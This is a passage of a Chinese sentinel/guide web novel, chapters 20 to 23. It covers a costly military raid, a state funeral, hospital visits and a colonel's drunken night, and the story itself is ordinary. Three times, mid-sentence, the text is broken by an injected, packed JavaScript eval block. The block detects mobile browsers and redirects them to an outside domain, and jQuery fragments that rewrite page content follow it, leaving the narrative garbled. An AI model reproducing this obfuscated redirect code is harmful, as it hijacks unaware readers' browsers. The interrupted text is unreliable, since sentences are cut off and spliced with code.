“我查过了他们俩的档案。”周烨开口道,他的气息飘散在寒冷的空气中,变作一团白色的雾气:“原本她的哨兵已服役到第五年,准备退役与她结婚,在最后的那次任务里……他用自己的生命保护了她,没能活着回来。” 时间已快到中午,日光升起,天际变作苍蓝的颜色。 “这张婚纱照,是在他们最后一次任务之前的一个月拍摄的。”周烨的眸子一瞬不瞬地望着他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呃……我们今天一起去了趟烈士陵园。”顾小绒老老实实交代道,不过沈骁上校之前叮嘱过他们暂时不要将不确定的情报泄露出去,所以她也不敢说他们是去调查什么。 上校没有再问,默然转过身,那双黑色的眼睛沉寂无垠。 “吃饭吧。”只是片刻后,他便移开了目光。 上校出院的时候,时间已经到了十一月的尾梢,新年的筹备也开始了,这个时候南北双方基本会默契停战,在外的哨兵与向导们回来后也暂时不会再安排新的任务,公会里的人又变得多了起来。 周烨和楚飞、以及另外八组哨兵向导,已经是今年最后一批执行任务的战士,其中有两组是皇家公会过来支援的。顾小绒能感觉到韩奕十分在意这次的行动,即使是之前还没有出院的时候,他也每天都会通过监控查看楚飞的训练情况,每天不同的实战训练内容也都是他一手安排的。 当然沈骁也是,他向来很忙,但这一次也抽出了几天时间亲临实训现场。沈骁的面容少有的阴云密布,看得出来此次的任务十分艰巨,甚至可以说是凶多吉少。公会想要搏一把,缩短战争进程、减少军队与武器的消耗,这几乎是赌上哨兵与向导的命。 两人在担心这次的任务执行和各自爱徒的性命上,是出奇一致的。 袭击阿维隆军港的当天夜晚,顾小绒没有睡着,向导群似乎也没有人睡着,直到凌晨五点群里开始不断地闪动信息,顾小绒怕屏幕的光打扰到上校,特意把光度调整到最低,还钻进了被窝才敢悄悄拿出来看。 任务结果喜忧参半,好消息是他们真的完成了任务,敌方军港被摧毁,连带那里原本武力覆盖的一大片地区与城市都沦陷;坏消息是九位哨兵折损了五位、九位向导折损了三位,其余活着的都不同程度地受了伤。楚飞和周烨都活着,但楚飞伤势严重,目前正在送回公会的路上。 顾小绒心下沉重,她关闭了屏幕,平躺在床上,将被子重新盖好。 21. 第二十一章 轻微的窸窣声从黑暗处传来,顾小绒睁开了涨红发疼的眼睛,上校已经悄无声息地起身穿衣了。她不知道昨晚他是否睡着,上校的作息向来十分规律,沉睡时的呼吸会变得缓慢均匀,昨晚也是一样。 顾小绒索性也起身打开了床头灯,昏黄的微光下,上校已经穿好了白色的内衬,他的上身仍有大片紫红的伤痕,伤得最深的腹部与右肩还包着纱布。顾小绒赶紧起身去扶住上校滑落的外套,避免他的手臂做出太大动作崩裂伤口,她托着袖口将他的手轻轻放进去,在整理好后替他系上扣子,不知从什么时候开始,她做这些已经无比熟稔妥帖,连他的手伸到什么弧度都很熟悉。 她的指尖不可避免地靠近上校微微仰起的脖颈,那里修长而白,嶙峋的喉结微微滚动,顾小绒不由收回视线注视到扣子本身。银色的丝线与扣子严丝合缝地遮住敞开的胸膛,再往上两颗包裹住白玉般的脖子。 因为负伤,上校也不可避免地消瘦了,顾小绒总觉得衣服宽松了一些。她继而替他系好了绶带,一端挂在胸前,一端挂在肩头。肩章的银穗也被整理好,齐齐整整地垂落下来,流苏般闪烁着月华的光泽。 忙完这些之后,她自己也赶紧去洗漱穿衣,在望了一眼窗外飘飞的大雪后,还是忍不住说了句:“长官,你要不要再多穿些?”凌晨是一整天里最冷的时候,他才流了那么多血,正是不能受冻的时候。韩奕刚刚收好了腰间的黑色皮带,银质锁扣果真往里收了两寸,他闻言后缓缓抬头,右手自然地拉住了她微凉的指尖。 “没事。”温热的掌心与指节轻轻握了握后随即松开,上校神色平静地望着她,目光几近柔和。 “……”顾小绒说不出一句话,她的大脑一片空白,指尖微微发麻。 清晨六点,他们来到了中央公会三号停机坪,莱安上将与沈骁上校已经等候多时。这个场景多少有些似曾相识,第一次任务回来也是这样,只不过此次的任务没有出现哨兵失控的情况,禁制塔那边就不用再跑一趟了。 最先被送回来的是皇家公会的两组哨兵向导,这一次四人都幸运地活了下来,只是两位哨兵伤势较重,一下战机就马上抬上了去往军区医院的救护车。顾小绒原以为莱安要跟着他的人走,却不想上将仍旧伫立在雪地里,寒风猎猎之间,他的眼睛平静无澜。 随后中央公会负伤的哨兵与向导也下了战机,情况十分惨烈,七位哨兵只存活了两位,七位向导也只剩下四位。楚飞伤得最重,他被优先送下了战机,由专门的救护车单独运送。 韩奕目送着自己的学生被抬上救护车,车子尖锐的鸣笛与闪烁的红蓝光刺破了清晨空濛的天穹。 再之后,是牺牲的八位战士的遗体,覆盖着帝国的国旗,庄重而缓慢地抬下了战机。莱安在前,韩奕与沈骁在他身侧,三位长官正对着他们,庄重地抬起右手,手心朝内、指尖对准太阳穴,身后在场的所有士兵也跟随长官行了军礼。 其中有一对牺牲哨兵与向导的遗体放在一处,他们的手紧紧拉在一起、无法分开,从伸出国旗的手可以看出,是一位女性哨兵与男性向导,他们的手已经呈现出尸僵,如同雕塑一般坚硬而永恒地相握着。 这位女哨兵,顾小绒曾经见过她与曼琳打招呼,她是那样的年轻活泼,一切场景仿佛昨日、历历在目,一切又都突如其来、戛然而止,好像是一场梦,好像都不是真的。顾小绒的心钝痛到麻痹,舌尖已失去知觉,牙齿咬破软肉,腥咸的血盈满了口腔。 之后是怎样跟随几位长官去的医院,她已经不太记得了,只能尽可能地站在角落里,不要阻碍到来来往往的医生和其余随行人员。 根据战场记录仪的录像,可以看见最后的场景定格在一场巨大的爆炸里。大约凌晨四点时分,周烨与楚飞已经完成了任务,在撤退的途中遇到了敌方哨兵强劲的追击,在坚船利炮、枪林弹雨的夹击里,周烨被最后一个敌方哨兵捅穿了肺部,而后爆炸的气浪凶猛袭来、避无可避,楚飞直接扑到了昏厥的向导身上,承受了几乎所有的伤害。 哨兵的小半个身子几乎全被炸毁,腹部血肉模糊,有数个器官、骨骼需要移植。还好平日里公会研究所已经备份了重要战士的克隆器官,现在已经即刻开始手术,但即使是他本人的克隆器官,之后能不能熬过排异反应与感染也未可知。周烨也伤得不轻,经军区医院多科专家联合会诊后,还是决定替他换上一部分克隆肺叶。 为避免混乱,顾小绒暂替两位长官传达信息,请公会所有哨兵与向导暂时不要前往军区医院,各自坚守岗位、照常训练作息,公会将实时播报此次任务的后续以及之后的伤亡情况。 向导群里的消息一直没有断过,顾小绒几乎没有看屏幕,她不知自己该如何面对、如何回答。 楚飞与周烨的手术耗费了十多个小时,随后转进了重症监护室,之后的恢复情况如何、能否存活,全凭天意。 顾小绒与几位长官穿上了防护服,她看见沈骁俯下身,抚摸着周烨冰冷的额头。韩奕神色沉寂,他伫立在那里,像是一座冰冷的塑像,在晦暗与蓝色仪器的微光下,顾小绒看不清他的面容。 直到他们离开医院,夜色已经很深,韩奕却还是坚持要去办公室,他需要立刻了解此次任务的全部过程与细节,第二天就召集所有高级将领开会。 “怎么了,你这是?”沈骁似乎无法忍受韩奕这种可怕的高压状态,终于寻了个间隙问道。 “阿维隆军港虽然重兵把守,但不至于造成这样大的损伤和牺牲。”韩奕冷冷开口,因为夜以继日不间断、高强度的工作,那双深黑的眼睛已血红一片:“敌军的部署,是专门针对S级哨兵设计的。” 沈骁沉默了两秒,面容上显出一丝微不可查的惊惧:“你的意思是?” 韩奕做了个噤声的手势,打断了对方的话。 七天后,周烨恢复了知觉。十二天后,楚飞醒了过来。神明在上,其余的八位哨兵与向导也都活了下来,只是其中有两位哨兵被迫截肢,做为战争兵器,等待他们的结果只能是退役。这几乎算是较为“圆满”的结果,毕竟战争已经持续了十年,做为一分化就注定前往战场的他们而言,能够退役回归常人的生活,未尝不是一种幸运。 其中还有一名受伤哨兵已服役4年10个月,韩奕将他的修养期批到了2个月后,也就是说等他修养完毕,也可以直接退役了。 这样算下来,还留存的哨兵也只剩下了楚飞一个,他的右臂明明已经被炸断,之后能抢修回来几乎是奇迹。自从楚飞醒来后,他的各项数据恢复情况惊人,几乎完全回到了之前的水准,无论是平衡性、敏捷度还是力量感都分毫不差。也许这就是S级哨兵的顶级身体资质,这样的天赋也不知是幸还是不幸。 阿维隆军港是今年最为惨烈一场战役,也是最为重大的一次胜利。牺牲八位战士,换来了敌方一座军港的毁灭、得到其火力辐射范围的三座巨大城池。如果没有哨兵与向导,单靠常规军事力量推进,还不知要在这上面折损多少时间、人命、金钱和武器。 葬礼是女皇亲自批示的,由皇室承担所有丧葬费用,除了公会给烈士家属的丰厚补偿之外,皇室单独再添了一份,烈士家属的余生每个月都能得到丰厚的生活津贴。除此之外,退役的哨兵也一样,残疾与重大损伤的在原本的津贴上还会多添一笔。当然,包括修理义肢在内的所有医疗费用,也都是终生免费。 金钱和荣誉是帝国能给予的唯一奖赏,尚且活着、仍在服役中的哨兵与向导,也会得到巨大的津贴与奖励。可以毫不夸张的说,因为这次任务,楚飞和周烨几乎可以一跃成为哨兵与向导各自的“首富”。 十二月末尾的某个清晨,顾小绒与韩奕一道坐上了公会安排的车,这一次他们所有人都将前往烈士陵园。葬礼不愧是皇家的手笔,白色鸢尾几乎盈满了陵园的每一寸角落。顾小绒之前走过的、落满积雪的小径,早已被打扫出来,露出了黑色的石板,上面还整齐地码放着金丝镶边的红毯,白色的花瓣就这样伴随着雪一路飘飞落下。 为显示哀悼,葬礼中央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055860|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花坛摆放着原本只有皇家允许使用的珍贵紫色鸢尾。莱安上将宣读女皇的诏令、传递皇室哀思,沈骁上校则代表中央公会发言。此次规模宏大的祭奠不止为了阿维隆军港里牺牲的八位战士,也是为了这一整年中央公会与皇家公会牺牲的所有战士。 长官们发完言,再加上后续的哀乐与礼仪,整个过程结束花费了接近四个小时的时间。 好不容易等到人声散去,天色已经向晚。顾小绒与曼琳、诺兰一同来到一处新下葬的墓碑前,崭新的画框上,女哨兵与她的向导甜蜜地挽着手,阳光璀璨地洒在他们的面容上,他们永恒地相守着,从现在直到亘古宇宙的尽头。巨大的白色鸢尾花束堆满了小小的白色坟茔,曼琳蹲下身去,慢慢从包里拿出一排草莓小熊蛋糕放在墓前。 “这是你最爱吃的。”绿色眼眸温柔地注视着画框上的面容,就好像从前她还在的时候一样。 曼琳的伤口还没有好全,顾小绒怕她冷着特意准备了一套毛绒帽子、围巾和手套,但即使这样她还是不能在风口久站。在大家的情绪终于平稳下来后,顾小绒还是将他们二人尽快劝回了车上,在叮嘱了司机暖气开足、路上慢行之后,她又抽身回去了墓园。 从后备箱拿上早已准备好的长袍,日光已完全消逝,黑暗吞噬了天际,墓园昏黄的路灯渐次亮起。 她远远地望见了韩奕的背影,上校长身而立,静静伫立在两座白色的坟茔前,被鸢尾花簇拥在其间的,是两张并排而立的遗像,都是两位年轻的小伙子。 “那是塞恩与苏然。”久久徘徊的不止他们,还有在另一端遥遥相望的沈骁,他今日换了一身素白的礼服,比军装更加繁复庄重。见顾小绒过来,那双明丽的眸子收回了视线,温柔地落在了眼前的年轻向导身上。 顾小绒向长官行了军礼,她看过档案,记得他们的名字:“是韩奕上校的两位前向导。” 沈骁点了点头,思绪仿佛重新回到了旧日的时光:“韩奕与塞恩,我与重泽,我们四人同一年一起进入中央公会。塞恩是那时最强的进攻型向导,比我强多了,他们俩绝对是那会儿最拔尖的一对。”说到这里,他的眉梢眼角都露出一丝笑意。 按照沈骁的原话来讲,韩奕和塞恩的配合与战斗力,整个公会至今无人能够超越,他们在一起并肩作战了六年,至今都是拿来要求后续哨兵与向导的标准。 三年前,在任务中重伤的韩奕与塞恩一起被送回了军区医院抢救,韩奕挺了过来,塞恩没有,他死于术后无可避免的大面积感染。苏然是那之后公会给韩奕二次匹配的向导,小伙子虽然比不上塞恩,但在新生代里也是最优秀的一位。他在后来爱上了一个文职姑娘,本来准备在任务回来之后向她表白的,连玫瑰都准备好了,好大一束,花费了将近三个月的工资。 在那次任务的末尾,韩奕原本是让他先撤离,自己留下来断后的,可是谁成想敌军的炮弹就偏偏击中了苏然在的那架战机,他牺牲时才22岁。 命运的齿轮随后转动到她的脚下,顾小绒默然无言,随后又想起什么似的抬头问道:“那您的哨兵呢?” “你说重泽啊。”沈骁的眼眸微微一晃:“他三年前受伤办了退役,现在去地方公会了,和我一样退居幕后,没有再上前线。前年他老婆生了个女儿,看他日子过得挺美的,还整天催我。” 还好,原来故事的结尾没有完全让人绝望,顾小绒的嘴角牵起一丝苦涩的笑意。 顾小绒走到韩奕身边,哨兵的肩头已积上了一层薄薄的雪,暖光从眉峰流淌过侧脸,将他的面容分割在光与暗的交界中。 她拿出折好的长袍给上校披上,这身黑色长袍通常是在重大庆典才会穿的,平日里不常拿出来,但质地却很厚实保暖。哨兵微微屈膝,任由向导将袍子拢在他的肩上,她的手无意间碰到他冰凉的指尖,他的身体整个冷透了。 “回去吧。”冷色的黑眸抬起,目光轻轻抚过向导冻得通红的脸。 他随着她一道,从黑暗与寒冷中重新回归到光明里。 22. 第二十二章 圣诞圆环与铃铛被挂上了中央公会大厅的门口,足有五米之高的圣诞树伫立在厅堂的正中间,上面挂满了五彩缤纷的礼物、糖果和星星。在圣诞节前后的这十天的时间里,士兵们被允许回到家乡探望亲人,公会里的人因此少了一些。 以前每年圣诞节的时候,还留在公会的哨兵和向导们都会凑在一块聚一聚、热闹一下,不过今年氛围有些冷清,也就没办了。上校有很多应酬脱不开身,还好这一次没有禁制环,顾小绒终于获得自由,难得地与曼琳诺兰、程浩正羽一起去城镇中心逛了街,放松放松。等到下午回来后准备去医院看看楚飞和周烨,就这样算是过节了。 至于今年氛围为什么冷清,大家心里都清楚,只是没有明说。阿维隆军港战役虽然取得了极大的胜利,但牺牲太过惨烈,为赢得更快,视哨兵与向导的性命如草芥,很多人对公会这次的安排都颇有微词,尤其是哨兵群体。 楚飞和周烨的无菌病房在军区医院看管最严格的区域,他们现在还在严密的隔离和监控中,即使是带了吃的也送不进去,大家只能很遗憾地对着玻璃与倒霉的两人过完了圣诞节。好在这一次他俩的病房是分隔开来的,不用面对彼此。这么多年下来大家已经习以为常,分开去看二人是常规操作,也尽量不在彼此面前提对方。 不过凡事总有例外。 曼琳当着楚飞面,把买来的炸鸡、薯条、巧克力、奶昔和气泡水拆开,说就当是陪他过节了。可怜的哨兵小伙子眼巴巴看着面前诱人的食物,他恢复得很好,除了脸上还没有太多血色以外,重伤残破的身体竟囫囵个好全了,丝毫看不出之前受伤的痕迹,甚至能在诺兰和顾小绒目瞪口呆的眼神里起身走动。 “不用那么惊讶,这就是S级哨兵。”曼琳云淡风轻地把炸鸡块塞进嘴里。 “师姐,你的体重真的还能控制到标准线下吗?”楚飞眼神哀怨,杀人诛心。 “你还是先考虑怎么从这里头出来吧。”曼琳优雅地擦擦指尖,接着嗦气泡水。 “我倒是没事哦。”楚飞挠了挠头,他的头发浓密黑亮,因为很久没有修剪也已经长到脖颈了:“那个……周烨还好吗?”在说到那个名字时,他的眼神躲闪了一下。 “哟,太阳从西边出来了。”曼琳开始拆巧克力:“你居然开始关心你向导的死活了……哇这个榛果太棒了,小绒你尝尝。”说完她便将一颗榛果巧克力塞到了顾小绒嘴里,后者乖乖张嘴含住。 只有诺兰认真地对待了楚飞的问题:“他还好,只是还在吃抗排斥药。” 能扛过术后感染是第一个坎,器官移植后能不排斥是第二个坎,周烨虽然在向导里算是体质强大的,但到底也是肉体凡胎,哪能和S级哨兵相比。两天前他做过肺活量测试,比以前少了大约500ml,也不知道以后能否恢复。按照他们二人的恢复速度,楚飞的观察期已经没几天了,而周烨那边医生还没有给出肯定答复。 如果周烨恢复得不好,又或者说体能与之前相差太大、无法再匹配S级哨兵,那么公会也可能会有其他的考虑,不排除重新匹配其他的A级哨兵,或者更差一点,视情况病退。 诺兰很明智地没有提这件事。 “哦……”年轻哨兵垂眸听完,他眼神闪烁、欲言又止,最终还是没有开口。 “诶我真的最烦你这种。”曼琳蹙起眉头:“有什么事就说,能不能利索点?”诺兰上前拉了拉自家哨兵,顾小绒从他的眼里后知后觉地感觉到了什么。 “既然你们来看我,那周烨那边呢?是程浩他们陪他吗?”小伙子被师姐凶了一顿,又耷拉下头,接近190的个子明显地缩了缩。 “你……”曼琳伸手去撇诺兰扒拉自己的手,她的神情还是无法掩饰的惊讶:“诶不是,你真的在担心他了?” “程浩和正羽是在周烨那边。”诺兰赶紧回答了楚飞的问题,熊猫团子费力控制着蹦跳的狮子,着实累得慌。 医院现在对探望楚飞和周烨的时间限制到了20分钟,因此时间一到他们也只能告辞。另外一边的程浩和正羽也走了出来,因为想要探望周烨的人实在太多,医院不得不严加看管。果不其然,从外面往里一望,就能瞥到已经堆放到地上的鸢尾和玫瑰。 程浩说周烨看上去很疲倦,曼琳就决定不要再去打扰了。 “看这阵仗,追求者还是很疯狂嘛。”回去的路上,诺兰冷不丁地说。 “打了胜仗呗。”程浩冷着个脸,因为过节他今日穿着常服,围着一条驼色的毛茸茸的围巾,顾小绒不禁脑补起他的兔狲来,如果再加一对耳朵那真的是一模一样了。 “那楚飞也打了胜仗啊……”一旁的正羽少有地插话,这个白白净净的哨兵相较于公会其余的大个子,身量委实说得上高挑纤细,一看形体就知道是轻量敏捷型。他也围着一条灰蓝色的围巾,和此时在他脚边打转的哈士奇毛色一致。自从上次催化剂的事以后,程浩似乎就听进了顾小绒的话,很少将兔狲放出来,正羽的哈士奇终于可以欢欢喜喜、无所顾忌地在雪地里玩耍了。 “……”此话一出,气氛陷入了尴尬,楚飞这孩子和他老师韩奕一道,都是属于敌方恨之入骨、己方避之不及的类型。毕竟是失控发狂可以一人灭掉几个团的S级哨兵,除了被迫和他们绑定的倒霉向导以外,谁都不会想要招惹他们。 “你猜怎么着,这次送花的还有女哨兵哦。”程浩圆圆嫩嫩的脸满是戏谑。 “这不是觉得自己有机会了吧……”诺兰露出一言难尽的神情。 “难说……”程浩双手插兜:“周烨就算是出院了,公会肯定也会对他进行重新评估。”严格来说,是他和楚飞都需要进行重新的体能与战力评估,但大家都很清楚,所谓的评估无非还是看周烨的战力能不能再与S级哨兵匹配。 “而且,上次S级哨兵抵抗训练考核成绩不是那啥嘛……”周烨是远在病房的,可顾小绒还在面前,程浩话一出口又拐了个弯,尽量修饰得委婉一点。 “很差,我知道。”顾小绒选择自爆,毕竟他们被剃了个零这事已经全公会皆知,更别提她钻哨兵胯这事了。上次的大规模考核里,A级哨兵与向导结果很好,二次考核的合格率已经到了86%。 “反正呢,我是听到一点消息,大概圣诞后第二次S级哨兵抵抗考核还会继续。”程浩的面容重新变得严肃。 “行吧……”意料之中的事,顾小绒只能安慰自己人各有命。 “没事小绒,左右这几天也闲着,我陪你练练。”曼琳捏了捏向导女孩的手,顾小绒的心里涌上一股热流,她羞赧地低下头,感激地回握着曼琳。 天色向晚,大家各自分别。顾小绒朝着办公大楼的停车场走,前段时间莉莎回家过节了,上校每天都应酬到很晚,虽然也有专车接送,但总感觉…… 其实车接车送,也说不上照顾不周,只是顾小绒能敏锐感觉到,上校每次回来的时候看到她没有太多的关心和表示,眼神似乎有些不痛快。作为一个还想保住自己前途的新人,私人领域稍微向长官示好也是必要的生存技能,顾小绒做不出太夸张的谄媚奉承,但顺道接送一下还是没问题的。 在上次她坐周烨的车一起去烈士陵园后,上校就直接将自己的一辆车交给了顾小绒,她当然是不敢接的,但上校表示他不止这一辆车…… 好吧……顾小绒很熟悉韩奕的神情,她知道什么眼神下的长官不能顶撞。 拿到车后,她除了老老实实每个月开去养护、清洗、加油之外,自己几乎没有怎么用过,今天是为数不多的一次。她的时间估算得刚刚好,在车抵达公会最豪华的宴会大楼后,大概只等了10分钟就看到有人从中鱼贯而出,她只在地下停车场待了一小会儿就重新开了出来。 这座豪华的大楼停车场修了足有3层,但即使如此,辽阔的庭院里仍旧排着队地停满了车。莱安上将的车队仍旧是最华丽浮夸的,足有9辆白色豪华的车队整齐停靠在大楼门口,为首的那一辆刚好在喷泉的地方。顾小绒从中轻而易举地找到了上校的车队,她朝着前面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055861|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车打了个招呼,轻巧地钻了过去。大家都是一起服役的,彼此之间比较客气,更何况是谁的车谁的人,一眼就可以看出来。 为首的那位是经常接送她与上校的司机,见是她来,直接把档往后一挂缓缓让出车身,顾小绒就这样被迫打了头阵。 几位长官前后都走了出来,顾小绒一眼就看见了韩奕,上校伫立在人群里,穿着比平日里更加庄重的礼装军服,竟在原本清冷的气质上平添了雍容,华美灯光如若银河倾泻,他的身上仿佛坠落星辰。 上校的身边除了沈骁和莱安之外,还有一些她不认识的人,看军衔应该是除了公会之外的其余军部高官。 按照接待长官的规矩,他们现在应该下车,在车门前2米处立正等待。还好在场的接待随行人员不少,顾小绒穿着军服,倒也毫无痕迹地融合了进去。她还看到了那个她极其讨厌的金发哨兵,此时正殷勤地打开车门,将莱安上将请了上去。 怪不得人家能攀上上将呢,顾小绒冷冷地想着。 不过她很快就将视线收了回来,因为此时军官们都已朝着各自的车队走去,韩奕与沈骁仍旧是并肩而行,在二人的目光齐齐朝着这边落过来时,顾小绒十分清楚地看到沈骁上校的面容上浮起一丝灿烂的微笑,他随后拍了拍韩奕的肩,回到了自己的车上。 顾小绒低下头,眼观鼻鼻观心,直到雪松伴随着浓烈的酒味靠近到身前,才抬起头来与身边的士兵们一道行了军礼。上校又喝了酒,这是每次应酬的时候难以躲避的事,莱安和沈骁都是向导,其余军官是普通人,只有他一个哨兵。酒的味道对于普通人也许刺激得恰到好处,可对于哨兵来说无异于酷刑,韩奕的神情看上去十分难受,在顾小绒刚刚低下头的瞬间,她没有见到他眼里一闪而过的光。 上校没有犹豫地径直走到了她身边,一瞬间顾小绒只觉在场所有的目光都凝聚在了她的身上,接待向来不是她的职责范围,此时她只能立即学着她讨厌的金发哨兵一样,赶紧拉开了车后座的门,请长官落座。 没有想到自己居然还有要向他学习的一天,顾小绒在心里恨得咬牙切齿。 不过她还没能恨上太久,韩奕就偏过了身子上前两步,在众目睽睽之下拉开了副驾的车门坐了上去。 “……”大约两秒的沉默之后,其余接待人员与顾小绒决定继续各司其职,她立刻朝后绕车走向驾驶座,在手忙脚乱掌心冒汗中点燃了火,虽然因为过于紧张,火还熄了一次。 咫尺之隔的副驾上,韩奕已闭眼倚靠了上去,车里一直开着暖气,上校缓缓地摘下了黑色的皮质手套。他紧蹙着眉,冷白的面容上浮现着淡淡的绯红,面容十分痛苦。 顾小绒在渡过了最初的兵荒马乱之后快速稳定了心神,她果断地开车往回走,也不再顾及车队能不能整齐跟上。上校现在正是难受的时候,得快点回去,她脑子里只剩下这个念头,油门往下压,加速与拐弯处理平和、方向盘打得干净利落,不一会儿就回到了住处。 车子停稳,上校仍旧闭着眼,没有动作。 顾小绒怔了片刻,轻声地熄了火走下车去,将副驾的车门拉开。还好她看见余下的车队也跟着停在了她身后,如果上校真的喝醉了,其余的司机和随行人员也可以上前帮忙。顾小绒看见后车的司机已经停好车走了下来,向她投来一个探寻的眼神。 这个时候,上校忽然动了,只见他长腿一迈径直走了下来,不过他的动作有些迟缓,落地时身形微晃,一手搭在了车门上。 顾小绒几乎是没有经过思考地、立即矮身钻到上校的腰间扶住了他,没有想象中那样重,竟然一下稳稳扶住了,上校的手臂自然地搭在了她的肩上,他的气息瞬间盈满了她的鼻翼,经过酒精的刺激,雪松味变得前所未有的浓郁,甚至有些狂烈。 被哨兵剧烈的信息素裹挟的向导,朝着身后的众人递了个眼色,后者十分有眼力见地停止了上前,大约数十秒内就各自归位驱车离开了。 这偌大、寂静的世界又只剩下了他们二人。 23. 第二十三章 把上校扶回住所的过程比想象中的更顺利,这会儿的顾小绒不得不感谢门口的面容扫描、以及室内的全声控电器,她不需要额外腾出手来,门、暖气和灯就自动打开了。 将上校扶上床是艰难险阻的第一步,她将难受发烫的哨兵半靠在床上,调整了一个尽量舒服的姿势,随后立即冲进厨房去煮醒酒汤,设定了熬煮时间。其次才是进到洗浴室,依旧是盆子、毛巾、热水这三样,准备好后再去柜子里将上校的睡衣翻了出来。此时已经过了几分钟,暖气的运作使得房间迅速回温。 她这才得空回到床边,韩奕面颊灼红、额间满是热汗,将发丝沾得湿透,他的胸膛缓慢而剧烈地起伏着,一只手难受地解着那条绑缚过紧的银色领带。顾小绒赶紧伸手去将那条恼人的领带取下来,接着又开始解领口的扣子,长官的呼吸慢慢地平缓了。 顾小绒开始了艰难险阻的第二征程:脱衣。上校今天穿的是礼装,里三层外三层的马甲、内衬、外套,看起来就十分费劲,但好在上校看上去仍然有些神智,他随着顾小绒的摆弄伸手,配合得像个安静的人偶。此时这个看上去安安静静的人偶正散发着极具攻击性的信息素,顾小绒被哨兵这滚烫的信息素弄得周身发麻,等她咬着牙脱掉最后的内衬后,韩奕的上身完整地出现在了她的面前。 顾不得全身大汗淋漓,向导赶紧朝着第三个艰难的阶段迈进:擦洗身体。还好在之前上校的数次负伤里,这个技能已经被她修炼得十分纯熟,刚刚接好的略微发烫的水,也在几分钟的消磨里逐渐冷却了下来,她伸手去摸了摸,刚好是上校喜欢的温度。上校这次没有伤口,过程进行得还算顺利。 不知是不是被剧烈的信息素影响,顾小绒也觉得身上有些发烫,毛巾从胸口擦到腹部,她能感到上校的身子在缓缓起伏,指尖不可避免地触碰着精悍的肌肉,上校的身体曲线流畅而坚实,被触碰到的皮肤极轻微地颤抖着。热汗从眉眼间滴落,顾小绒只觉喉头一阵燥热。 在这要命的时候,一个毛绒绒热乎乎的东西使劲地拱了她一下,差点把她撞得一个趔趄,只见黑豹不知道什么时候从哪里冒了出来,正缓慢地摇着尾巴围着她蹭。太久地和兔狲、猞猁待在一起,顾小绒有点忘了这东西的体量有多大。上校平日里十分克制,很少让精神体出来,看样子今天确实是难受了。 顾小绒只能一边应付着黑豹,一边小心地擦洗,他的身体摸上去滚烫,于是她又将暖气调低了几度,还没来得及换洗手中的毛巾,就见兴奋的黑豹一个蹦跳差点把旁边的水撞翻。 “……”顾小绒忍无可忍,被迫放出了自己的知更鸟,毛绒团子一脸惊恐地看了看眼前的情况,又盯了盯自己的主人,顾小绒这是第一次从一只鸟的眼神里看见哀怨。随后黑豹便很快被毛绒团子吸引,往另一个方向扑腾小鸟去了,白色的羽毛霎时被折腾得落了满地。 倒霉向导趁着这个间隙赶紧完成了最后的擦洗,将睡衣费劲地给上校套上,这时候她才扶着上校的腿,将他一整个放到了床上。醒酒汤也煮好了,随着时间设定的结束自动熄火,安安静静冷却在灶台上。顾小绒终于腾出手来给自己擦了把汗,这才回到厨房去把醒酒汤倒进碗里,拿手摸了摸,温度也冷却到刚刚好。 才端到跟前,还没说话呢,上校淡色的唇便微微一张,将汤喝了下去。平日里他的唇线因时常紧抿而显得有些锋利,今晚也许是因为喝醉了,看上去像是被水浸透似的湿润柔软。 上校喝完后便躺下睡着了,但顾小绒的后续任务还没有结束,关掉大灯后,起身去黑豹的嘴里解救出自己的毛绒团子,随后是整理脱下的乱七八糟的衣物。虽然有配备全自动洗烘一体、并带有自动干洗功能的洗衣机,但衣服还是需要分门别类,深色与浅色的各自归类,还好上校这边有两台洗衣机可以同时操作,顾小绒得手动分拣衣服、并且将绶带、肩章等东西整理下来,皮靴与皮手套也需要手动擦洗…… 等忙到不知道多晚,顾小绒已经觉得意识有些模糊,那股强烈冲击的雪松味好歹松泛了些许,她这才得以恢复些力气走到洗浴室洗澡。上校今晚比以往任何时候都要难受,平日里即使是喝酒应酬,顾小绒也从来没有见到他失去行动力,不过掐指一算……上校已经连续喝了五天了,是正常人都受不了,更何况是五感敏锐的哨兵。 自己一个人微言轻的中尉,也没有办法帮到他什么,顾小绒在躺上床的时候迷迷糊糊地想着,她只能祈祷之后的应酬不要再这么多了。至于衣服呢……明天起来再熨烫吧…… 顾小绒睡眼惺忪地醒过来时,天色已经大亮,澄净温暖的日光将她笼罩,向导舒服地在被窝里拱了拱,只觉这一觉睡得绵长又香甜。只是肚子有点隐隐地饿了,鼻尖却忽然嗅到了一丝香味,是食物的香味,好像是鱼的味道…… “嗯?!”顾小绒猛地睁开眼睛,从床上翻了起来,香味从厨房密闭的门里满溢了出来,里面还能听见隐约的锅铲与油烟的声音。 